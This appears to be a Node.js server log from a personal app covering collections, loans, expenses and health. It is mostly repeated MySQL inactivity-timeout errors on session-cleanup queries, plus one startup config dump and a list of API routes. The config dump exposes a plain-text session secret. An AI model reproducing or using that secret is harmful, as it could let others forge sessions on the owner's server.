    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-07 17:33:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-07 21:36:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-07 21:36:23' as DATETIME)"
}
2026-05-08T04:27:24.673Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-08T04:27:26.942Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-08T04:27:27.803Z server-connect:setup:upload Upload middleware configured.
2026-05-08T04:27:27.803Z server-connect:secure CSRF Protection initialized
2026-05-08T04:27:27.809Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-08T04:27:27.811Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-08T04:27:27.812Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-08T04:27:27.815Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-08T04:27:27.821Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-08T04:27:27.827Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-08T04:27:27.838Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-08T04:27:27.852Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-08T04:27:27.855Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-08T04:27:27.856Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-08T04:27:27.858Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-08T04:27:27.862Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-08T04:27:27.868Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-08T04:27:27.878Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-08T04:27:27.881Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-08T04:27:27.955Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-08T04:27:27.957Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-08T04:27:27.961Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-08T04:27:27.967Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-08T04:27:27.969Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-08T04:27:27.972Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-08T04:27:27.979Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-08T04:27:27.982Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-08T04:27:27.987Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-08T04:27:27.989Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-08T04:27:27.995Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-08T04:27:27.998Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-08T04:27:27.999Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-08T04:27:28.006Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-08T04:27:28.006Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-08T04:27:28.010Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-08T04:27:28.011Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-08T04:27:28.016Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-08T04:27:28.017Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-08T04:27:28.022Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-08T04:27:28.026Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-08T04:27:28.029Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-08T04:27:28.038Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 04:50:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 04:50:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 05:46:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 05:46:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 08:21:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 08:21:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 08:43:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 08:43:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 11:09:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 11:09:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 12:18:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 12:18:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 12:30:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 12:30:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 15:35:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 15:35:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 17:38:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 17:38:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 18:21:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 18:21:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 19:19:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 19:19:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-08 21:49:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-08 21:49:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-09 02:27:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-09 02:27:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-09 05:21:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-09 05:21:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-09 06:44:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-09 06:44:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-09 08:45:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
